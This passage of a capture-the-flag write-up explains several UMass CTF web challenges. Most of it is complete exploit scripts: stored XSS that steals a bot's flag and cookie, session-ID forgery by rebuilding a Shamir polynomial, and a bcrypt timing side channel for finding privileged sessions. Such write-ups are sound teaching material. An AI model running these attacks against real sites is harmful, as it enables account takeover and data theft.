```

then `getComputedStyle(t).getPropertyValue('--x')` returns the flag.

The clean solve path was:

1. Register an attacker-controlled forum user.
2. Post a stored-XSS payload into that user's forum posts.
3. Trigger the captain bot to visit `/user/<attacker>`.
4. The XSS runs on `forum.<host>`, loads the localhost treasure CSS, reads the flag from the CSS custom property, logs into the attacker forum account, and posts the flag as a new forum message.
5. Read the posted flag back from the attacker user's page.

#### Solution

Exploit script used:

```python
#!/usr/bin/env python3
import argparse
import random
import re
import string
import sys
import time

import requests
import urllib3


FLAG_RE = re.compile(r"UMASS\{[^}]+\}")
CAPTAIN_IP_RE = re.compile(r"\((\d{1,3}(?:\.\d{1,3}){3})\)")


def rand_suffix(n: int = 6) -> str:
    alphabet = string.ascii_lowercase + string.digits
    return "".join(random.choice(alphabet) for _ in range(n))


def normalize_host(target: str) -> str:
    if "://" not in target:
        return target.strip().strip("/")
    return requests.utils.urlparse(target).hostname


def session() -> requests.Session:
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    s = requests.Session()
    s.verify = False
    s.headers.update({"User-Agent": "turncoats-treasure-xss-solver/1.0"})
    return s


def get_captain_ip(s: requests.Session, host: str) -> str:
    resp = s.get(f"https://product.{host}/check-captain", timeout=20)
    resp.raise_for_status()
    match = CAPTAIN_IP_RE.search(resp.text)
    if not match:
        raise RuntimeError("failed to extract captain IP")
    return match.group(1)


def ensure_user(s: requests.Session, host: str, username: str, password: str) -> None:
    resp = s.post(
        f"https://forum.{host}/register",
        data={"username": username, "password": password},
        timeout=20,
        allow_redirects=False,
    )
    if resp.status_code not in (302, 400):
        raise RuntimeError(f"unexpected register status {resp.status_code}")


def login_forum(s: requests.Session, host: str, username: str, password: str) -> None:
    resp = s.post(
        f"https://forum.{host}/login",
        data={"username": username, "password": password},
        timeout=20,
        allow_redirects=True,
    )
    if resp.status_code != 200:
        raise RuntimeError(f"unexpected login status {resp.status_code}")


def make_xss(username: str, password: str) -> str:
    return f"""<script>
(() => {{
  if (window.__turncoat_xss_ran) return;
  window.__turncoat_xss_ran = true;

  const username = {username!r};
  const password = {password!r};

  const holder = document.createElement('div');
  holder.innerHTML = '<here><is><your><treasure id="t"></treasure></your></is></here>';
  document.body.appendChild(holder);

  async function submit(path, data) {{
    await fetch(path, {{
      method: 'POST',
      headers: {{'Content-Type': 'application/x-www-form-urlencoded'}},
      body: new URLSearchParams(data)
    }});
  }}

  async function exfil() {{
    if (window.__turncoat_sent) return;
    const target = document.getElementById('t');
    if (!target) return;
    const value = getComputedStyle(target).getPropertyValue('--x').trim();
    if (!value) return;
    window.__turncoat_sent = true;
    await submit('/login', {{username, password}});
    await new Promise(r => setTimeout(r, 700));
    await submit('/post', {{content: value}});
    await new Promise(r => setTimeout(r, 700));
    await submit('/post', {{content: value}});
  }}

  const link = document.createElement('link');
  link.rel = 'stylesheet';
  link.href = 'https://127.0.0.1/treasure?name=%7B--x%3A';
  link.onload = exfil;
  document.head.appendChild(link);
  setTimeout(exfil, 4000);
}})();
</script>"""


def post_xss(s: requests.Session, host: str, content: str) -> None:
    resp = s.post(
        f"https://forum.{host}/post",
        data={"content": content},
        timeout=20,
        allow_redirects=True,
    )
    if resp.status_code != 200:
        raise RuntimeError(f"unexpected post status {resp.status_code}")


def trigger_captain(s: requests.Session, host: str, captain_ip: str, username: str) -> None:
    captain_host = f"make-{captain_ip}-rr.1u.ms.{host}"
    url = f"https://{captain_host}/CALL-CAPTAIN?endpoint=/user/{username}"
    resp = s.get(url, timeout=20)
    resp.raise_for_status()


def poll_flag(s: requests.Session, host: str, username: str, timeout: int) -> str:
    deadline = time.time() + timeout
    user_url = f"https://forum.{host}/user/{username}"
    while time.time() < deadline:
        resp = s.get(user_url, timeout=20)
        resp.raise_for_status()
        match = FLAG_RE.search(resp.text)
        if match:
            return match.group(0)
        time.sleep(2)
    raise TimeoutError("timed out waiting for flag post")


def main() -> int:
    parser = argparse.ArgumentParser(description="Turncoat's Treasure solve via stored XSS on forum user page.")
    parser.add_argument("--target", required=True, help="Instance host or full URL")
    parser.add_argument("--username", default=None, help="Forum username")
    parser.add_argument("--password", default=None, help="Forum password")
    parser.add_argument("--timeout", type=int, default=45, help="Seconds to poll for flag post")
    args = parser.parse_args()

    host = normalize_host(args.target)
    username = args.username or f"retiree_{rand_suffix()}"
    password = args.password or username

    s = session()
    print(f"[+] target host: {host}")
    captain_ip = get_captain_ip(s, host)
    print(f"[+] captain ip: {captain_ip}")

    ensure_user(s, host, username, password)
    login_forum(s, host, username, password)
    print(f"[+] forum account ready: {username}:{password}")

    xss = make_xss(username, password)
    post_xss(s, host, xss)
    print("[+] xss post created")

    trigger_captain(s, host, captain_ip, username)
    print("[+] captain triggered to attacker user page")

    flag = poll_flag(s, host, username, args.timeout)
    print(flag)
    return 0


if __name__ == "__main__":
    sys.exit(main())
```

Run:

```bash
python3 -u exploit_forum_xss.py --target https://<instance-host> --username retiree_xss1 --password retiree_xss1 --timeout 60
```

Recovered flag:

```
UMASS{s0m3body_t0uch3d_th3_tre45ur3_0mg_th4ts_cr4zy}
```

### ORDER66

#### Description

The app stores at most one populated `box_i` per session in Redis, keyed as `{uid}:box_i`. Rendering is split across two routes:

* `/` keeps the current session `uid`, rotates a session `seed`, and renders one box with `|safe`.
* `/view/<uid>/<seed>` renders the same stored data for any chosen `uid` and `seed`.

The vulnerable box is selected with:

```python
random.seed(seed)
v_index = random.randint(1, 66)
```

That means the server lets us:

1. Store a payload in any single box we want.
2. Pick a synthetic `seed` whose RNG output points at that same box.
3. Send the admin bot to `/view/<uid>/<seed>`.

The bot sets a readable `flag` cookie and forwards `console.log(...)` output back in the `/admin/visit` response, so an XSS payload can print the flag directly.

#### Solution

I used `box_1` and a known Python seed where `random.randint(1, 66)` returns `1`:

```python
import random
random.seed(1131)
print(random.randint(1, 66))  # 1
```

Exploit:

```bash
#!/usr/bin/env bash
set -euo pipefail

BASE='http://order66.web.ctf.umasscybersec.org:48001'
JAR='cookies.txt'
PAYLOAD='<script>console.log(document.cookie)</script>'
SEED='1131'

# Start a session and extract the generated uid from the share URL.
HTML="$(curl -sS -c "$JAR" "$BASE/")"
SESSION_UID="$(printf '%s' "$HTML" | sed -n 's/.*value="http:\/\/None\/view\/\([0-9a-f-]\+\)\/[0-9]\+".*/\1/p')"

# Store the payload in box_1.
curl -sS -b "$JAR" -c "$JAR" -X POST \
  --data-urlencode "box_1=$PAYLOAD" \
  "$BASE/" >/dev/null

# Ask the bot to visit a synthetic view URL that makes box_1 the vulnerable slot.
curl -sS -X POST \
  --data-urlencode "target_url=http://x/view/$SESSION_UID/$SEED" \
  "$BASE/admin/visit"
```

Response:

```
flag=UMASS{m@7_t53_f0rce_b$_w!th_y8u}
```

Flag:

```
UMASS{m@7_t53_f0rce_b$_w!th_y8u}
```

### Bricktator

#### Description

The app is a Spring Boot control panel with:

* known credentials for `bricktator/goldeagle`
* an exposed `/actuator/sessions` endpoint available after logging in as Bricktator
* session IDs of the form `xxxxx-xxxxxxxx`, where the decimal prefix is the share index and the hex suffix is the share value
* a degree-2 Shamir-style polynomial used to generate all seeded session IDs
* an override flow that needs 5 `YANKEE_WHITE` session approvals

The important source observations were:

* `SessionSuccessHandler` pins `bricktator`, `John_Doe`, and `Jane_Doe` to seeded session indices `5001`, `1`, and `5`
* `/actuator/sessions?username=...` returns the seeded session ID for a principal
* `john_doe` and `jane_doe` are the seeded principal names, not `John_Doe` / `Jane_Doe`
* `CommandWorkFilter` runs on `/command` and does an expensive bcrypt only when the supplied session ID belongs to a stored `YANKEE_WHITE` session
* `/override/{token}` is public and only checks whether the session backing the request has `role=YANKEE_WHITE`

So the solve is:

1. Log in as Bricktator.
2. Query `/actuator/sessions?username=bricktator`, `john_doe`, and `jane_doe`.
3. Reconstruct the quadratic over `mod 2147483647` from those three shares.
4. Generate valid seeded session IDs for indices `2..5000` and probe `/command` with each one.
5. Use the bcrypt timing jump to identify `YANKEE_WHITE` sessions.
6. Start an override as Bricktator.
7. Submit 4 discovered `YANKEE_WHITE` sessions to `/override/<token>`.
8. Read the flag from the completion page.

Live solve result:

`UMASS{stUx_n3T_a1nt_g0T_n0th1nG_0N_th15}`

#### Solution

```python
#!/usr/bin/env python3
import argparse
import base64
import http.cookiejar
import json
import re
import sys
import time
import urllib.error
import urllib.parse
import urllib.request


PRIME = 2_147_483_647
TOKEN_RE = re.compile(r"/override/([0-9a-f]{32})")
FLAG_RE = re.compile(r"(UMASS\{[^}]+\})")


def encode_session_cookie(session_id: str) -> str:
    return base64.urlsafe_b64encode(session_id.encode()).decode()


def decode_session_cookie(cookie_value: str) -> str:
    return base64.urlsafe_b64decode(cookie_value).decode()


def parse_session_id(session_id: str) -> tuple[int, int]:
    x_str, y_hex = session_id.split("-", 1)
    return int(x_str), int(y_hex, 16)


def mod_solve_3x3(rows: list[list[int]]) -> list[int]:
    matrix = [row[:] for row in rows]
    for col in range(3):
        pivot = None
        for row in range(col, 3):
            if matrix[row][col] % PRIME != 0:
                pivot = row
                break
        if pivot is None:
            raise ValueError("singular matrix")
        matrix[col], matrix[pivot] = matrix[pivot], matrix[col]
        inv = pow(matrix[col][col], -1, PRIME)
        for idx in range(col, 4):
            matrix[col][idx] = (matrix[col][idx] * inv) % PRIME
        for row in range(3):
            if row == col:
                continue
            factor = matrix[row][col] % PRIME
            for idx in range(col, 4):
                matrix[row][idx] = (matrix[row][idx] - factor * matrix[col][idx]) % PRIME
    return [matrix[i][3] % PRIME for i in range(3)]


def fit_quadratic(session_ids: list[str]) -> list[int]:
    rows = []
    for session_id in session_ids:
        x, y = parse_session_id(session_id)
        rows.append([1, x % PRIME, (x * x) % PRIME, y % PRIME])
    return mod_solve_3x3(rows)


def eval_quadratic(coeffs: list[int], x: int) -> int:
    return (coeffs[0] + coeffs[1] * x + coeffs[2] * x * x) % PRIME


class Solver:
    def __init__(self, base_url: str, verbose: bool = True):
        self.base_url = base_url.rstrip("/")
        self.verbose = verbose
        self.cookie_jar = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cookie_jar))

    def log(self, message: str) -> None:
        if self.verbose:
            print(message, flush=True)

    def open(self, path: str, method: str = "GET", data: bytes | None = None,
             headers: dict[str, str] | None = None) -> bytes:
        request = urllib.request.Request(self.base_url + path, data=data, headers=headers or {}, method=method)
        with self.opener.open(request, timeout=15) as response:
            return response.read()

    def request_json(self, path: str) -> dict:
        return json.loads(self.open(path))

    def login(self, username: str, password: str) -> str:
        payload = urllib.parse.urlencode({"username": username, "password": password}).encode()
        self.open("/login", method="POST", data=payload, headers={
            "Content-Type": "application/x-www-form-urlencoded",
        })
        for cookie in self.cookie_jar:
            if cookie.name == "SESSION":
                return decode_session_cookie(cookie.value)
        raise RuntimeError("login did not yield a SESSION cookie")

    def session_for_username(self, username: str) -> str:
        body = self.request_json("/actuator/sessions?username=" + urllib.parse.quote(username))
        sessions = body.get("sessions", [])
        if len(sessions) != 1:
            raise RuntimeError(f"expected exactly one session for {username!r}, got {len(sessions)}")
        return sessions[0]["id"]

    def start_override(self) -> str:
        body = self.open("/command/override", method="POST").decode()
        match = TOKEN_RE.search(body)
        if not match:
            raise RuntimeError("could not extract override token")
        return match.group(1)

    def timed_head_command(self, session_id: str) -> float:
        cookie_value = encode_session_cookie(session_id)
        request = urllib.request.Request(self.base_url + "/command", method="HEAD", headers={
            "Cookie": f"SESSION={cookie_value}",
        })
        started = time.perf_counter()
        try:
            with urllib.request.urlopen(request, timeout=15) as response:
                response.read(0)
        except urllib.error.HTTPError as exc:
            exc.read(0)
        return time.perf_counter() - started

    def approve(self, token: str, session_id: str) -> str:
        cookie_value = encode_session_cookie(session_id)
        request = urllib.request.Request(self.base_url + f"/override/{token}", method="POST", headers={
            "Cookie": f"SESSION={cookie_value}",
        })
        with urllib.request.urlopen(request, timeout=15) as response:
            return response.read().decode()


def median(values: list[float]) -> float:
    ordered = sorted(values)
    mid = len(ordered) // 2
    if len(ordered) % 2:
        return ordered[mid]
    return (ordered[mid - 1] + ordered[mid]) / 2


def classify_candidate(solver: Solver, session_id: str, threshold: float) -> tuple[bool, float]:
    first = solver.timed_head_command(session_id)
    if first <= threshold:
        return False, first
    second = solver.timed_head_command(session_id)
    return second > threshold, max(first, second)


def run(base_url: str, username: str, password: str) -> str:
    solver = Solver(base_url)
    admin_session = solver.login(username, password)
    john_session = solver.session_for_username("john_doe")
    jane_session = solver.session_for_username("jane_doe")

    solver.log(f"[+] bricktator session: {admin_session}")
    solver.log(f"[+] john_doe session:   {john_session}")
    solver.log(f"[+] jane_doe session:   {jane_session}")

    coeffs = fit_quadratic([john_session, jane_session, admin_session])
    solver.log(f"[+] quadratic coefficients: {coeffs}")

    q_samples = [solver.timed_head_command(john_session) for _ in range(3)]
    y_samples = [solver.timed_head_command(admin_session) for _ in range(3)]
    q_median = median(q_samples)
    y_median = median(y_samples)
    threshold = (q_median + y_median) / 2
    solver.log(f"[+] Q_CLEARANCE median:  {q_median:.4f}s")
    solver.log(f"[+] YANKEE_WHITE median: {y_median:.4f}s")
    solver.log(f"[+] timing threshold:    {threshold:.4f}s")

    discovered = []
    for x in range(2, 5001):
        if x == 5:
            continue
        session_id = f"{x:05d}-{eval_quadratic(coeffs, x):08x}"
        is_yw, observed = classify_candidate(solver, session_id, threshold)
        if is_yw:
            discovered.append(session_id)
            solver.log(f"[+] found YANKEE_WHITE session {len(discovered)}/4: {session_id} ({observed:.4f}s)")
            if len(discovered) == 4:
                break
        elif x % 500 == 0:
            solver.log(f"[*] scanned through index {x}, latest {observed:.4f}s")

    if len(discovered) < 4:
        raise RuntimeError(f"needed 4 YANKEE_WHITE sessions, found {len(discovered)}")

    token = solver.start_override()
    solver.log(f"[+] override token: {token}")

    for session_id in discovered:
        body = solver.approve(token, session_id)
        solver.log(f"[+] approved with {session_id}")
        match = FLAG_RE.search(body)
        if match:
            flag = match.group(1)
            solver.log(f"[+] flag: {flag}")
            return flag

    raise RuntimeError("override approvals completed without revealing a flag")


def main() -> int:
    parser = argparse.ArgumentParser(description="Solve the Bricktator web challenge")
    parser.add_argument("--base-url", default="http://bricktator.web.ctf.umasscybersec.org:48002")
    parser.add_argument("--username", default="bricktator")
    parser.add_argument("--password", default="goldeagle")
    args = parser.parse_args()

    try:
        flag = run(args.base_url, args.username, args.password)
    except Exception as exc:
        print(f"[!] {exc}", file=sys.stderr)
        return 1
    print(flag)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

### Bricktator v2

#### Description

Web exploitation challenge (500 pts). A Spring Boot "Nuclear Control Center" application uses Shamir's Secret Sharing for session management and requires 5 YANKEE\_WHITE clearance approvals to execute "Protocol Sigma" and retrieve the flag.

#### Solution

The challenge involves a Spring Boot 3.2.4 application with several interacting components:

**1. Session ID Structure & Shamir's Secret Sharing**

Session IDs follow the format `%05d-%08x` where the two parts encode a Shamir share `(x, y)` on a degree-2 polynomial mod `PRIME = 2^31 - 1`. The app seeds 5000 sessions (x=1..5000) plus an admin session (x=5001). Three known users provide shares:

* `john_doe` at x=1
* `jane_doe` at x=5
* `bricktator` at x=5001

With 3 shares and a degree-2 polynomial, we can recover the full polynomial and compute any session ID.

**2. Discovering Shares**

* Login as `bricktator` (password `goldeagle` from source) to get the admin session ID from the dashboard
* Use Spring Boot Actuator (`/actuator/sessions?username=john_doe`) to get `john_doe` and `jane_doe` session IDs (accessible with YANKEE\_WHITE or Q\_CLEARANCE)

**3. Finding YANKEE\_WHITE Sessions**

The `CommandWorkFilter` performs BCrypt(strength=13) hashing when a YANKEE\_WHITE session accesses `/command`, causing a consistent \~0.8s delay vs \~0.1s for other sessions. Out of 5000 seeded sessions, 7 are randomly assigned YANKEE\_WHITE.

Key insight for reliability: single timing checks produce many false positives from network/server spikes (\~1.1s once, then \~0.1s). True BCrypt sessions are **consistently** slow across multiple checks. The solve uses a full scan followed by triple-checking - requiring at least 3 of 4 checks above threshold eliminates all false positives.

**4. Protocol Sigma Override**

The override requires 5 distinct YANKEE\_WHITE sessions to approve sequentially:

1. `POST /command/override` as bricktator (creates token, counts as approval #1)
2. `POST /override/{token}` with 4 more YANKEE\_WHITE session cookies

If any approver isn't YANKEE\_WHITE, the override is CANCELLED. The v2 OverrideService supports concurrent tokens, so failed attempts can be retried with different candidate sessions.

**5. Session Cookie Encoding**

Session cookies are Base64URL-encoded session IDs: `SESSION = base64url(sessionId)`.

```python
#!/usr/bin/env python3
"""Bricktator v2 - Robust solve with full scan, triple-check, and retry logic."""

import requests
import base64
import time
import re
import sys

TARGET = "http://bricktatorv2.web.ctf.umasscybersec.org:8080"
PRIME = 2147483647  # 2^31 - 1
TIMING_THRESHOLD = 0.5

def session_cookie(sid):
    return base64.urlsafe_b64encode(sid.encode()).decode().rstrip('=')

def parse_session_id(sid):
    parts = sid.split('-')
    return int(parts[0]), int(parts[1], 16)

def format_session_id(x, y):
    return "%05d-%08x" % (x, y)

def modinv(a, m):
    g, x, _ = extended_gcd(a % m, m)
    if g != 1:
        raise ValueError("No inverse")
    return x % m

def extended_gcd(a, b):
    if a == 0:
        return b, 0, 1
    g, x, y = extended_gcd(b % a, a)
    return g, y - (b // a) * x, x

def solve_polynomial(shares):
    (x1, y1), (x2, y2), (x3, y3) = shares
    d21 = (x2 - x1) % PRIME
    d31 = (x3 - x1) % PRIME
    s21 = (x2*x2 - x1*x1) % PRIME
    s31 = (x3*x3 - x1*x1) % PRIME
    r21 = (y2 - y1) % PRIME
    r31 = (y3 - y1) % PRIME
    det = (s21 * d31 - s31 * d21) % PRIME
    num_a2 = (r21 * d31 - r31 * d21) % PRIME
    a2 = (num_a2 * modinv(det, PRIME)) % PRIME
    a1 = ((r21 - s21 * a2) * modinv(d21, PRIME)) % PRIME
    a0 = (y1 - a1 * x1 - a2 * x1 * x1) % PRIME
    return [a0, a1, a2]

def evaluate(coeffs, x):
    y = 0
    for i in range(len(coeffs) - 1, -1, -1):
        y = (y * x + coeffs[i]) % PRIME
    return y

def time_request(sid):
    cookie = session_cookie(sid)
    start = time.time()
    try:
        requests.get(f"{TARGET}/command", cookies={"SESSION": cookie},
                     allow_redirects=False, timeout=10)
        return time.time() - start
    except:
        return 0

# Phase 1: Login and get shares
s = requests.Session()
s.post(f"{TARGET}/login", data={"username": "bricktator", "password": "goldeagle"},
       allow_redirects=False)
r = s.get(f"{TARGET}/dashboard")
bricktator_sid = re.search(r'session-id[^>]*>([0-9]+-[0-9a-f]+)<', r.text).group(1)
john_sid = s.get(f"{TARGET}/actuator/sessions",
                 params={"username": "john_doe"}).json()['sessions'][0]['id']
jane_sid = s.get(f"{TARGET}/actuator/sessions",
                 params={"username": "jane_doe"}).json()['sessions'][0]['id']

# Phase 2: Recover polynomial
shares = [parse_session_id(sid) for sid in [john_sid, jane_sid, bricktator_sid]]
coeffs = solve_polynomial(shares)
all_sessions = {x: format_session_id(x, evaluate(coeffs, x)) for x in range(1, 5002)}

# Phase 3: Full scan + triple-check for YANKEE_WHITE
first_pass = []
for x in range(2, 5001):
    if x == 5:
        continue
    t = time_request(all_sessions[x])
    if t > TIMING_THRESHOLD:
        first_pass.append((x, all_sessions[x], t))

confirmed = []
for x, sid, t1 in first_pass:
    times = [t1] + [time_request(sid) for _ in range(3)]
    if sum(1 for t in times if t > TIMING_THRESHOLD) >= 3:
        confirmed.append((x, sid, min(times)))

confirmed.sort(key=lambda c: c[2], reverse=True)

# Phase 4: Override with retry
excluded = set()
for attempt in range(3):
    batch = [(x, sid) for x, sid, _ in confirmed if sid not in excluded][:4]
    if len(batch) < 4:
        break
    r = s.post(f"{TARGET}/command/override")
    token = re.search(r'/override/([a-f0-9]+)', r.text).group(1)
    for x, sid in batch:
        r = requests.post(f"{TARGET}/override/{token}",
                          cookies={"SESSION": session_cookie(sid)})
        if "UMASS{" in r.text:
            print(re.search(r'UMASS\{[^}]+\}', r.text).group(0))
            sys.exit(0)
        elif "CANCELLED" in r.text:
            excluded.add(sid)
            break
```

**Flag:** `UMASS{stUx_n3T_a1nt_g0T_n0th1nG_0N_th15_v2!!!randomNoiseAndStuff}`
